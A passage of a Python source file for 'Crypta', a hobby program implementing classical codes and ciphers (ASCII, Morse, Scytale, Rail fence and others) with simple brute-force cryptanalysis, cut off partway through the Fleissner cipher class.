+{"seq_id":"28600988508","text":"#!/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"Crypta is a cryptology program including cryptography and cryptanalysis functions.\"\"\"\n\ncrypta__auth = 'Elerias'\ncrypta__last_update = '16.02.2021'\ncrypta__ver = '3.7'\n\nsites = (\"https://www.lama.univ-savoie.fr/pagesmembres/hyvernat/Enseignement/1920/info910/tp1.html\", 'http://www.xavierdupre.fr/app/ensae_teaching_cs/helpsphinx/notebooks/expose_vigenere.html')\n\n\n##-initialisation\n\nfrom os import getcwd, chdir\nfrom math import gcd, log\nimport itertools\nfrom random import shuffle, choice, randint\npath = getcwd()\nfor k in range(3):\n try:\n from modules.prima import prima\n from modules.base.matrix import *\n from modules.ciphers.kris import AES\n from modules.base.arithmetic import mult_inverse\n from modules.b_cvrt import b_cvrt\n except:\n pass\n chdir('..')\n\ntry:\n from Languages.lang import translate as tr\nexcept ModuleNotFoundError:\n def tr(text):\n return text\n\ntry:\n from modules.base.console.color import color, cl_out, cl_inp, c_succes, c_output, c_wrdlt, c_error, c_prog, c_ascii\n from modules.base.base_functions import use_menu, inp_lst, inp_int, fact, space\n from modules.ciphers.BaseCipher import BaseCipher #this will not be redefined below !\n from modules.base.base_functions import chd\n from modules.base import glb\n \nexcept ModuleNotFoundError as ept:\n err = str(ept).strip(\"No module named\")\n\n print(tr('Crypta : module {} not found, it could mean that Craker was not found, redefining the functions !').format(err))\n\n # If we can't import Cracker, functions have to be defined for the good working of program\n def color(arg):\n pass\n def cl_inp(t):\n return input(t)\n def cl_out(a, t):\n print(t)\n def c_succes(t):\n print(t)\n def c_output(t):\n print(t)\n def c_wrdlt(t):\n print(t)\n def c_error(t=\"\"):\n print(t)\n def c_prog(t):\n print(t)\n def c_ascii(t):\n print(t)\n def use_menu(t):\n t()\n def inp_lst(t, a):\n return input(t)\n def inp_int(t):\n return input(t)\nchdir(path)\n\n\nalf_az = 'abcdefghijklmnopqrstuvwxyz'\nalf_az09 = alf_az + '0123456789'\nalf_AZ = alf_az.upper()\nalf_AZ09 = alf_AZ + '0123456789'\nalf_azAZ = alf_az + alf_AZ\n\nalf_wrt = ' .,:;!?\"\\'-'\nalf_usual = alf_azAZ + alf_wrt\n\nalf_25 = alf_az.replace('j', '')\nalf_25AZ = alf_AZ.replace('J', '')\n\n\n##-plain text checker\n\ndef inD(t):\n global D_quad\n return D_quad.get(t) != None\n\ndef ver_plain_text(text, wprocess=True):\n \"\"\"Return True if the text means something, False otherwise.\"\"\"\n \n if wprocess:\n text = msgform(text, \"min\", False, False)\n \n lt = len(text)\n \n if lt < 5:\n return False\n \n return prob_plain_text(text) > -11\n\ndef prob_plain_text(text, wprocess=False):\n \"\"\"Return the probability that the text is french or english.\"\"\"\n global D_quad\n \n if wprocess:\n text = msgform(text, \"min\", False, False)\n \n lt = len(text)\n if lt < 5:\n return 0\n p = 0\n for k in range(lt-3):\n r = D_quad.get(text[k:k+4])\n if r != None and r != 0:\n p = p + log(r)\n else:\n p = p + log(0.01) - log(2456316)\n p = p / (lt-3)\n return p\n\n\n##-base functions\n\ndef msgform(M, f='min', space=False, number=False, alf='abcdefghijklmnopqrstuvwxyz', spe_car=False):\n \"\"\"Can delete the special characters, the accents, the spaces and the numbers. Can uppercase or lowercase all the characters.\"\"\"\n \n d = {'à': 'a', 'å': 'a', 'â': 'a', 'æ': 'ae', 'á': 'a', 'ā': 'a', 'ă': 'a', 'ã': 'a',\n 'ä': 'a', 'ą': 'a', 'ç': 'c', 'ć': 'c', 'č': 'c', 'ď': 'd', 'đ': 'd', 'ė': 'e',\n 'é': 'e', 'ę': 'e', 'è': 'e', 'ě': 'e', 'ê': 'e', 'ĕ': 'e', 'ë': 'e', 'ə': 'e',\n 'ē': 'e', 'ģ': 'g', 'ğ': 'g', 'í': 'i', 'ı': 'i', 'ì': 'i', 'į': 'i', 'ï': 'i',\n 'ī': 'i', 'î': 'i', 'ķ': 'k', 'ł': 'l', 'ľ': 'l', 'ļ': 'l', 'ĺ': 'l', 'ň': 'n',\n 'ņ': 'n', 'ń': 'n', 'ñ': 'n', 'ő': 'o', 'ó': 'o', 'ø': 'o', 'ò': 'o', 'ö': 'o',\n 'œ': 'oe', 'õ': 'o', 'ô': 'o', 'ŕ': 'r', 'ř': 'r', 'ß': 's', '§': 'S', 'ś': 's',\n 'š': 's', 'ş': 's', 'þ': 't', 'ť': 't', 'ț': 't', 'ţ': 't', 'ų': 'u', 'ü': 'u',\n 'ű': 'u', 'ú': 'u', 'ů': 'u', 'ù': 'u', 'ū': 'u', 'û': 'u', 'ý': 'y', 'ź': 'z',\n 'ż': 'z', 'ž': 'z', 'À': 'A', 'Å': 'A', 'Â': 'A', 'Æ': 'AE', 'Á': 'A', 'Ā': 'A',\n 'Ă': 'A', 'Ã': 'A', 'Ä': 'A', 'Ą': 'A', 'Ç': 'C', 'Ć': 'C', 'Č': 'C', 'Ď': 'D',\n 'Đ': 'D', 'Ė': 'E', 'É': 'E', 'Ę': 'E', 'È': 'E', 'Ě': 'E', 'Ê': 'E', 'Ĕ': 'E',\n 'Ë': 'E', 'Ə': 'E', 'Ē': 'E', 'Ģ': 'G', 'Ğ': 'G', 'Í': 'I', 'I': 'I', 'Ì': 'I',\n 'Į': 'I', 'Ï': 'I', 'Ī': 'I', 'Î': 'I', 'Ķ': 'K', 'Ł': 'L', 'Ľ': 'L', 'Ļ': 'L',\n 'Ĺ': 'L', 'Ň': 'N', 'Ņ': 'N', 'Ń': 'N', 'Ñ': 'N', 'Ő': 'O', 'Ó': 'O', 'Ø': 'O',\n 'Ò': 'O', 'Ö': 'O', 'Œ': 'OE', 'Õ': 'O', 'Ô': 'O', 'Ŕ': 'R', 'Ř': 'R', 'S': 'S',\n 'Ś': 'S', 'Š': 'S', 'Ş': 'T', 'Þ': 'T', 'Ť': 'T', 'Ț': 'T', 'Ţ': 'T', 'Ų': 'U',\n 'Ü': 'U', 'Ű': 'U', 'Ú': 'U', 'Ů': 'U', 'Ù': 'U', 'Ū': 'U', 'Û': 'U', 'Ý': 'Y',\n 'Ź': 'Z', 'Ż': 'Z', 'Ž': 'Z'}\n \n if 'i' in alf and not 'j' in alf:\n d['j'] = 'i'\n d['J'] = 'I'\n\n aut = \"\"\n Mf = \"\"\n for k in d:\n M = M.replace(k, d[k])\n \n aut += alf\n \n if number:\n aut += '0123456789'\n \n if space:\n aut += ' '\n \n if spe_car:\n aut += '&~\"#' + \"'{\" + '([-|`_\\\\^@°)]+=}£$%µ*?,.;/:§!<>'\n \n for k in M:\n if k in aut:\n Mf += k\n elif f == 'min' and k.lower() in aut:\n Mf += k.lower()\n elif f == 'maj' and k.upper() in aut:\n Mf += k.upper()\n elif f == 'all':\n if k.lower() in aut:\n Mf += k.lower()\n elif k.upper() in aut:\n Mf += k.upper()\n \n return Mf\n\ndef read_lines(T):\n \"\"\"Return the text result of the line reading of the list of list T.\"\"\"\n text = \"\"\n for k in T:\n text = text + \"\".join(k)\n return text\n\ndef read_columns(T):\n \"\"\"Return the text result of the column reading of the list of list T.\"\"\"\n text = \"\"\n for i in range(len(T[0])):\n for j in range(len(T)):\n if len(T[j]) > i:\n text = text + T[j][i]\n return text\n\ndef write_lines_c(text, nc):\n \"\"\"Return the list of the list T result of the line writing of the text in nc columns.\"\"\"\n T = [[]]\n i = 0\n for k in range(len(text)):\n T[i].append(text[k])\n if k % nc == nc - 1:\n i = i + 1\n T.append([])\n return T\n\ndef write_columns_c(text, nc):\n \"\"\"Return the list of the list T result of the column writing of the text in nc columns.\"\"\"\n T = []\n nl = len(text) // nc\n r = 0\n if len(text) % nc != 0:\n nl = nl + 1\n r = len(text) % nc\n for k in range(nl):\n T.append([])\n i = 0\n for k in range(len(text)):\n T[i].append(text[k])\n i = (i+1) % nl\n if i == nl - 1 and len(T[i]) == r:\n i = 0\n return T\n\ndef write_lines_l(text, nl):\n \"\"\"Return the list of the list T result of the line writing of the text in nl lines.\"\"\"\n\n T = []\n nc = len(text) // nl\n r = 0\n if len(text) % nl != 0:\n nc = nc + 1\n r = len(text) % nl\n else:\n r = nl\n for k in range(nl):\n T.append([])\n i = 0\n for k in range(len(text)):\n T[i].append(text[k])\n if len(T[i]) == nc or (i >= r and len(T[i]) == nc-1):\n i += 1\n return T\n\ndef write_columns_l(text, nl):\n \"\"\"Return the list of the list T result of the column writing of the text in nl lines.\"\"\"\n \n T = []\n for k in range(nl):\n T.append([])\n i = 0\n for k in range(len(text)):\n T[i].append(text[k])\n i = (i+1) % nl\n return T\n\ndef gen_dic_ite(L):\n \"\"\"\n Generate a dictionnary with an iterable.\n Ex : gen_dic_ite('abc') return {'a': 0, 'b': 1, 'c': 2}\n \"\"\"\n \n D = {}\n for k in range(len(L)):\n D[L[k]] = k\n return D\n\ndef generate_alphabet_word(word, alph='abcdefghijklmnopqrstuvwxyz'):\n \"\"\"Return the cipher alphabet generated by a keyword.\"\"\"\n cipher_alph = \"\"\n for k in word:\n if k in alph:\n i = alph.index(k)\n alph = alph[0:i] + alph[i + 1:len(alph)]\n cipher_alph = cipher_alph + k\n cipher_alph = cipher_alph + alph\n return cipher_alph\n\ndef word_to_square(word, size=5):\n \"\"\"Return the square result of a keyword.\"\"\"\n if size == 5:\n alph = 'abcdefghiklmnopqrstuvwxyz'\n for k in range(len(word)):\n if word[k] == 'j':\n word = word[0:k] + 'i' + word[k + 1:len(word)]\n L = [[], [], [], [], []]\n elif size == 6:\n alph = 'abcdefghijklmnopqrstuvwxyz0123456789'\n L = [[], [], [], [], [], []]\n else:\n raise ValueError('The size should be 5 or 6 !!!')\n alph = generate_alphabet_word(word, alph)\n for i in range(size):\n for j in range(size):\n L[i].append(alph[i*size + j])\n return L\n\ndef word_to_transposition_key(word, alph='abcdefghijklmnopqrstuvwxyz'):\n \"\"\"Return a transposition key generated by a keyword.\"\"\"\n L = []\n for k in range(len(word)):\n i = alph.index(word[k])\n L.append((i, k))\n L.sort()\n tra_k = []\n for k in L:\n tra_k.append(k[1])\n return tra_k\n\ndef read_file(f):\n \"\"\"Read a file f and return the text after deleting the \\n.\"\"\"\n a = open(f, 'r')\n t = a.read()\n t = t.split('\\n')\n t = ' '.join(t)\n a.close()\n return t\n\ndef read_file_use():\n \"\"\"Use read_file.\"\"\"\n f = cl_inp('Name of the file to read : ')\n try:\n return read_file(f)\n except FileNotFoundError:\n cl_out(c_error, tr('The file was NOT found') + ' !!!')\n return read_file_use()\n\ndef write_file(f, t):\n \"\"\"Write in a file f the text t.\"\"\"\n a = open(f, 'a')\n if type(t) == list:\n t = '\\n'.join(t)\n a.write(t)\n a.close()\n\ndef write_file_use(t=\"\"):\n \"\"\"Use write_file.\"\"\"\n f = cl_inp(tr('Name of the output file') + ' : ')\n if t == \"\":\n t = cl_inp('Text : ')\n write_file(f, t)\n print(tr('Operation successfully realised'))\n\ndef ask_text():\n \"\"\"Use write_file or ask the text.\"\"\"\n f = inp_lst(tr('Read text from file ?') + ' ' + tr('(y/n)') + ' : ', (tr('y'), tr('n'), tr('yes'), tr('no')))\n if f in (tr('y'), tr('n'), tr('yes'), tr('no')):\n t = read_file_use()\n else:\n t = cl_inp(tr('Enter the text') + ' :')\n return t\n\ndef give_result(res):\n \"\"\"Use write_file or print the result.\"\"\"\n r = inp_lst(tr('Write the result in a file ?') + ' ' + tr('(y/n)') + ' : ', (tr('y'), tr('n'), tr('yes'), tr('no')))\n if r in (tr('y'), tr('n'), tr('yes'), tr('no')):\n write_file_use(res)\n else:\n print(tr('Result') + ' :\\n')\n print(res)\n\n\nciph_types = { # Used in make_ciph\n\n 'alf, verbose, interface': (\n tr('Place of letters'),\n ),\n \n 'verbose, interface': (\n 'ASCII',\n tr('Binary code'),\n 'Morse',\n tr('Reverse code'),\n tr('Reverse code word'),\n ),\n \n 'key, interface': (\n 'Playfair',\n ),\n \n 'key, verbose, interface': (\n 'Scytale',\n 'Rail fence'\n ),\n \n 'key, alf, interface': (\n 'Fleissner',\n 'Hill'\n ),\n \n 'key, alf, ignore, interface': (\n 'ABC',\n ),\n \n 'key, alf, verbose, interface': (\n tr('Columnar transposition'),\n 'UBCHI'\n ),\n \n 'alf, ignore, verbose, interface': (\n 'Achbi',\n 'Atbash',\n 'Albam',\n 'Avgad',\n 'Tritheme'\n ),\n \n 'key, alf, ignore, verbose, interface': (\n tr('Caesar'),\n tr('Monoalphabetic substitution'),\n 'Porta',\n 'Vigenere',\n 'Beaufort',\n 'Gronsfeld',\n 'Autoclave'\n ),\n \n 'key, key2, alf, interface': (\n 'ADFGX',\n 'ADFGVX',\n tr('Four squares'),\n ),\n \n 'key, key2, alf, ignore, verbose, interface': (\n 'Affine',\n ),\n \n 'key, indexes, alf, space, verbose, interface': (\n tr('Polybius'),\n )\n}\n\n\nciph_sort = {\n '0_key': (\n 'ASCII',\n tr('Binary code'),\n 'Morse',\n tr('Place of letters'),\n tr('Reverse code'),\n tr('Reverse code word'),\n 'Atbash',\n 'Albam',\n 'Achbi',\n 'Avgad',\n 'Tritheme'\n ),\n \n '1_key_str': (\n tr('Columnar transposition'),\n 'UBCHI',\n tr('Polybius'),\n tr('Monoalphabetic substitution'),\n 'Porta',\n 'Vigenere',\n 'Beaufort',\n 'Autoclave',\n 'Playfair',\n 'ABC'\n ),\n \n '1_key_int': (\n 'Scytale',\n 'Rail fence',\n tr('Caesar'),\n 'Gronsfeld'\n ),\n \n '1_key_list': (\n 'Fleissner',\n 'Hill'\n ),\n \n '2_key_int': (\n 'Affine',\n ),\n \n '2_key_str': (\n tr('Four squares'),\n 'ADFGX',\n 'ADFGVX'\n ),\n\n 'alf': (\n tr('Place of letters'),\n 'Fleissner',\n tr('Columnar transposition'),\n 'UBCHI',\n 'Atbash',\n 'Albam',\n 'Achbi',\n 'Avgad',\n tr('Caesar'),\n 'Affine',\n tr('Polybius'),\n tr('Monoalphabetic substitution'),\n 'Tritheme',\n 'Porta',\n 'Vigenere',\n 'Beaufort',\n 'Gronsfeld',\n 'Autoclave',\n tr('Four squares'),\n 'Hill',\n 'ABC',\n 'ADFGX',\n 'ADFGVX'\n ),\n}\n\n\ndef get_ciph(cipher, *args, **kargs):\n \"\"\"Return the cipher. object.\"\"\"\n \n return crypta_ciphers[cipher](*args, **kargs)\n\n\ndef make_ciph(ciph, key=None, key2=None, alf=alf_az, ignore=False, verbose=True, interface=None, **kargs):\n \"\"\"Return the cipher usable to encrypt.\"\"\"\n \n #Todo: There is certainly a better way to do this.\n \n if ciph in ciph_types['verbose, interface']:\n if ciph == tr('Reverse code word'):\n return ReverseCode('word', verbose, interface)\n \n return get_ciph(ciph, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['alf, verbose, interface']:\n return get_ciph(ciph, alf=alf, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['key, interface']:\n return get_ciph(ciph, key=key, interface=interface)\n \n elif ciph in ciph_types['key, verbose, interface']:\n return get_ciph(ciph, key=key, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['key, alf, interface']:\n return get_ciph(ciph, key=key, alf=alf, interface=interface)\n \n elif ciph in ciph_types['key, alf, ignore, interface']:\n return get_ciph(ciph, key=key, alf=alf, ignore=ignore, interface=interface)\n \n elif ciph in ciph_types['key, alf, verbose, interface']:\n return get_ciph(ciph, key=key, alf=alf, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['alf, ignore, verbose, interface']:\n return get_ciph(ciph, alf=alf, ignore=ignore, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['key, alf, ignore, verbose, interface']:\n return get_ciph(ciph, key=key, alf=alf, ignore=ignore, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['key, key2, alf, interface']:\n return get_ciph(ciph, key, key2, alf=alf, interface=interface)\n\n elif ciph in ciph_types['key, key2, alf, ignore, verbose, interface']:\n return get_ciph(ciph, key, key2, alf=alf, ignore=ignore, verbose=verbose, interface=interface)\n \n elif ciph in ciph_types['key, indexes, alf, space, verbose, interface']:\n return get_ciph(ciph, key, alf=alf, verbose=verbose, interface=interface, **kargs)\n \n else:\n raise NotImplemented(tr('The cipher \"{}\" was NOT found !!!').format(ciph) + '\\n' + tr('If it exists, please add it to the dict \"ciph_types\".'))\n \n \n \n \n##------codes\n\n#todo: add a description for every code\n\nclass ASCII(BaseCipher):\n \"\"\"\n ASCII code is one of the most famous informatic character encoding. It represents text in machines. Most of actual character encoding are based on that code. It encodes all alphanumeric characters and symbols into numbers between 0 and 127.\n \"\"\"\n\n def __init__(self, verbose=True, interface=None):\n \"\"\"Initiate the ASCII code.\n - verbose : A boolean. Print 'ASCII' in `meaning` if True.\n \"\"\"\n \n super().__init__('ASCII', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n \n \n def encrypt(self, txt):\n \"\"\"Encode 'txt' using the ASCII code.\"\"\"\n \n ret = ''\n for k in txt:\n if ord(k) < 128:\n ret += str(ord(k)) + ' '\n \n return ret[:-1]\n \n def decrypt(self, txt):\n \"\"\"Decode 'txt' using the ASCII code.\"\"\"\n \n txt = txt.split(' ')\n \n ret = ''\n for k in txt:\n try:\n j = int(k) \n if j < 128:\n ret += chr(j)\n except:\n pass\n \n return ret\n \n def break_(self, txt):\n \"\"\"Return txt decoded using the self.decrypt method.\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text' which searches if the text means something.\"\"\"\n \n if self.verbose:\n print('ASCII')\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk, False):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass BinaryCode(BaseCipher):\n \"\"\"\n BinaryCode is the ASCII code converted in binary.\n \"\"\"\n\n def __init__(self, verbose=True, interface=None):\n \"\"\"Initiate the Binary code.\n - verbose : A boolean. Print 'BinaryCode in `meaning` if True.\n \"\"\"\n \n super().__init__(tr('Binary code'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n \n \n def encrypt(self, txt):\n \"\"\"Encode 'txt' using the Binary code.\"\"\"\n \n ret = ''\n for k in txt:\n if ord(k) < 128:\n ret += b_cvrt.b_cvrt(ord(k), 10, 2) + ' '\n \n return ret[:-1]\n \n def decrypt(self, txt):\n \"\"\"Decode 'txt' using the Binary code.\"\"\"\n \n txt = txt.split(' ')\n \n ret = ''\n for k in txt:\n try:\n j = b_cvrt.b_cvrt(k, 2, 10)\n if j < 128:\n ret += chr(j)\n except:\n pass\n \n return ret\n \n def break_(self, txt):\n \"\"\"Return txt decoded using the self.decrypt method.\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text' which searches if the text means something.\"\"\"\n \n if self.verbose:\n print(tr('Binary code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk, False):\n return (True, brk)\n \n else:\n return (False,)\n\nclass Morse(BaseCipher):\n \"\"\"\n Morse code is a code which converts text into a sequence of signals of two different durations : dots (.) and dashes (-). A dot is a brief signal and a dash is a long signal. It is called after Samuel Morse, the inventor of the telegraph. It was very used because telegrams were encoding in Morse.\n \"\"\"\n \n def __init__(self, a='.', b='-', c_sep=' ', w_sep='/', verbose=True, interface=None):\n \"\"\"Initiate the Morse code.\n \n - a : Short signal ;\n - b : Long signal ;\n - c_sep : Character separation ;\n - w_sep : Word separation ;\n - verbose : A boolean. Print 'Morse' in `meaning` if True.\n \"\"\"\n \n super().__init__('Morse', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n \n self.alf = {\n 'a': a + b,\n 'b': b + a*3,\n 'c': b + a + b + a,\n 'd': b + a*2,\n 'e': a,\n 'f': 2*a + b + a,\n 'g': 2*b + a,\n 'h': 4*a,\n 'i': 2*a,\n 'j': a + 3*b,\n 'k': b + a + b,\n 'l': a + b + a + a,\n 'm': 2*b,\n 'n': b + a,\n 'o': 3*b,\n 'p': a + 2*b + a,\n 'q': 2*b + a + b,\n 'r': a + b + a,\n 's': 3*a,\n 't': b,\n 'u': 2*a + b,\n 'v': 3*a + b,\n 'w': a + 2*b,\n 'x': b + 2*a + b,\n 'y': b + a + 2*b,\n 'z': 2*b + 2*a,\n \n '0': 5*b,\n '1': a + 4*b,\n '2': 2*a + 3*b,\n '3': 3*a + 2*b,\n '4': 4*a + b,\n '5': 5*a,\n '6': b + 4*a,\n '7': 2*b + 3*a,\n '8': 3*b + 2*a,\n '9': 4*b + a,\n \n ' ': w_sep\n }\n \n self.alf_d = {} #Same dict, but keys/values reversed.\n for k in self.alf:\n self.alf_d[self.alf[k]] = k\n \n self.c_sep = c_sep #Character separation\n self.w_sep = w_sep #Words separation\n\n\n def encrypt(self, txt):\n \"\"\"Encode 'txt' using the Morse code.\"\"\"\n \n txt = msgform(txt, space=True)\n \n ret = ''\n for k in txt:\n if k in self.alf:\n ret += self.alf[k] + ' '\n \n return ret\n\n\n def decrypt(self, txt):\n \"\"\"Decode the Morse code.\"\"\"\n \n txt = txt.split(self.c_sep)\n \n ret = ''\n for k in txt:\n if k in self.alf_d:\n ret += self.alf_d[k]\n \n return ret\n \n def break_(self, txt):\n \"\"\"Return txt decoded using the self.decrypt method.\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text' which searches if the text means something.\"\"\"\n \n if self.verbose:\n print('Morse')\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk, False):\n return (True, brk)\n \n else:\n return (False,)\n\nclass Place_of_letters(BaseCipher):\n \"\"\"\n Replace letters by their places in the alphabet.\n \"\"\"\n \n def __init__(self, alf=alf_az, verbose=True, interface=None):\n \n super().__init__(tr('Place of letters in alphabet'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.alf = alf\n\n\n def encrypt(self, txt):\n \"\"\"Replace letters by their places in the alphabet.\"\"\"\n \n txt = msgform(txt, space=False, alf=self.alf)\n \n ret = ''\n for k in txt:\n ret += str(self.alf.find(k)) + ' '\n \n return ret[:-1]\n\n\n def decrypt(self, txt):\n \"\"\"Replace the places in the alphabet by the letters.\"\"\"\n \n txt = txt.split(' ')\n \n ret = ''\n for k in txt:\n ret += self.alf[int(k)]\n \n return ret\n \n def break_(self, txt):\n \"\"\"Return txt decoded using the self.decrypt method.\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text' which searches if the text means something.\"\"\"\n \n if self.verbose:\n print(tr('Place of letters in alphabet'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk, False):\n return (True, brk)\n \n else:\n return (False,)\n\n\n##------ciphers\n\n\n##---transposition\n\n#---------Reverse code\nclass ReverseCode(BaseCipher):\n \"\"\"Defining the reverse code.\"\"\"\n \n def __init__(self, mode='all', verbose=True, interface=None):\n \"\"\"\n Initiate the reverse code.\n \n mode : how to encode. Should be in ('all', 'word').\n .all :\n reverse the whole string ;\n \n .word :\n reverse the words.\n \"\"\"\n \n super().__init__(tr('Reverse code'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if mode not in ('all', 'word'):\n raise ValueError(tr('\"mode\" arg should be \"all\", or \"word\", but \"{}\" found !!!').format(mode))\n \n self.mode = mode\n self.verbose = verbose\n \n\n def encrypt(self, txt):\n \"\"\"Encode 'txt' using the reverse code.\"\"\"\n \n if self.mode == 'all':\n return txt[::-1]\n \n else:\n lst = txt.split(' ')\n \n ret = ''\n for k in lst:\n ret += k[::-1] + ' '\n \n ret = ret[:-1] #Revome last space\n \n return ret\n \n \n def decrypt(self, txt):\n \"\"\"Decode 'txt' using the reverse code. Same as self.encrypt.\"\"\"\n \n return self.encrypt(txt)\n \n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text' which searches if the text means something.\"\"\"\n \n if self.verbose:\n print(tr('Reverse code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n#---------Scytale\nclass Scytale(BaseCipher):\n \"\"\"\n A scytale is a cylinder which makes it possible to perform a transposition cipher by horizontal reading of a text written on a strip of parchment which is wrapped around the scytale. The key is then the diameter of the scytale. Its first uses date back the Antiquity.\n \"\"\"\n \n def __init__(self, key=None, verbose=True, interface=None):\n \"\"\"Initiate the Scytale cipher.\n \n key : an integer, or None to brute-force it ;\n verbose : A boolean. Print 'Scytale' in meaning if True.\n \"\"\"\n \n super().__init__('Scytale', pb_mn=1, interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if key != None:\n try:\n self.key = int(key)\n \n except ValueError:\n raise ValueError(tr('\"key\" should be an int, but \"{}\" of type \"{}\" was found !!!').format(key, type(key)))\n \n else:\n self.key = None\n \n self.verbose = verbose\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' with the Scytale cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n T = write_columns_l(txt, self.key)\n return read_lines(T)\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' with the Scytale cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n T = write_lines_l(txt, self.key)\n return read_columns(T)\n \n def brute_force(self, txt):\n \"\"\"Return a dict containing all the possibles decryptions, associated with their keys.\"\"\"\n \n lth = len(txt)\n \n brk = {}\n for k in range(1, lth):\n brk[k] = Scytale(k).decrypt(txt)\n \n self.pb_set(k, lth, bar='brk')\n \n return brk\n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if self.verbose:\n print('Scytale\\n' + tr('Method : brute-force'))\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], k)\n \n return (False,)\n \n def gen_key(self, txt_lth):\n \"\"\"Generate a Scytale key.\"\"\"\n \n return randint(1, txt_lth - 1)\n\n\n#---------Rail fence\nclass RailFence(BaseCipher):\n \"\"\"Defining the Rail fence cipher.\"\"\"\n \n def __init__(self, key=None, verbose=True, interface=None):\n \"\"\"Initiate the Rail fence cipher.\n \n key : an intenger, or None to brute-force it ;\n verbose : A boolean. Print 'Rail fence' in meaning if True.\n \"\"\"\n \n super().__init__('Rail fence', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n \n if key != None:\n try:\n self.key = int(key)\n \n except ValueError:\n raise ValueError(tr('\"key\" should be an int, but \"{}\" of type \"{}\" was found !!!').format(key, type(key)))\n \n self.lst = []\n for k in range(key):\n self.lst.append([]) # Creating a list of the levels\n \n else:\n self.key = None\n self.lst = None\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' with the Rail fence cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n if self.key == 1:\n return txt\n \n lst = list(self.lst) #Creating a copy\n \n lvl = 0 #Level\n m = 1 #step\n \n for k in txt:\n lst[lvl].append(k)\n \n if lvl == self.key - 1:\n m = -1\n \n elif lvl == 0:\n m = 1\n \n lvl += m\n \n ret = ''\n for k in lst:\n ret += ''.join(k)\n \n return ret\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' with the Rail fence cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n if self.key == 1:\n return txt\n \n lst = list(self.lst) #Creating a copy\n \n lth = len(txt)\n ttest = 'X'*lth\n lvl = 0\n m = 1\n \n for k in ttest:\n lst[lvl].append(k)\n \n if lvl == self.key - 1:\n m = -1\n \n elif lvl == 0:\n m = 1\n \n lvl += m\n \n n = 0\n for k in lst:\n for i, j in enumerate(k):\n k[i] = txt[n]\n n += 1\n \n ret = ''\n lvl = 0\n m = 1\n \n while len(ret) != lth:\n if lvl >= len(lst) or lvl < 0:\n m = 0 - m\n lvl += 2 * m\n \n if len(lst[lvl]) != 0:\n ret += lst[lvl][0]\n del lst[lvl][0]\n \n lvl += m\n \n return ret\n \n \n def brute_force(self, txt):\n \"\"\"Return a dict containing all the possibles decryptions, associated with their keys.\"\"\"\n \n lth = len(txt)\n brk = {}\n \n for k in range(2, lth):\n brk[k] = RailFence(k).decrypt(txt)\n\n self.pb_set(k, lth, bar='brk')\n \n return brk\n \n def meaning(self, txt, brk=None):\n \"\"\"Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if self.verbose:\n print('Rail fence\\n' + tr('Method : brute-force'))\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], k)\n \n return (False,)\n \n def gen_key(self, txt_lth):\n \"\"\"Generate a Rail fence key.\"\"\"\n \n return randint(2, txt_lth - 1)\n\n\n#---------Fleissner\nclass Fleissner(BaseCipher):\n \"\"\"Defining the Fleissner cipher.\"\"\"\n \n def __init__(self, key=[], alf=alf_az, interface=None):\n \"\"\"Initiate the Fleissner cipher.\n \n key : a square matrix (list of lists). Ex :\n 0 1 0 0\n 1 1 0 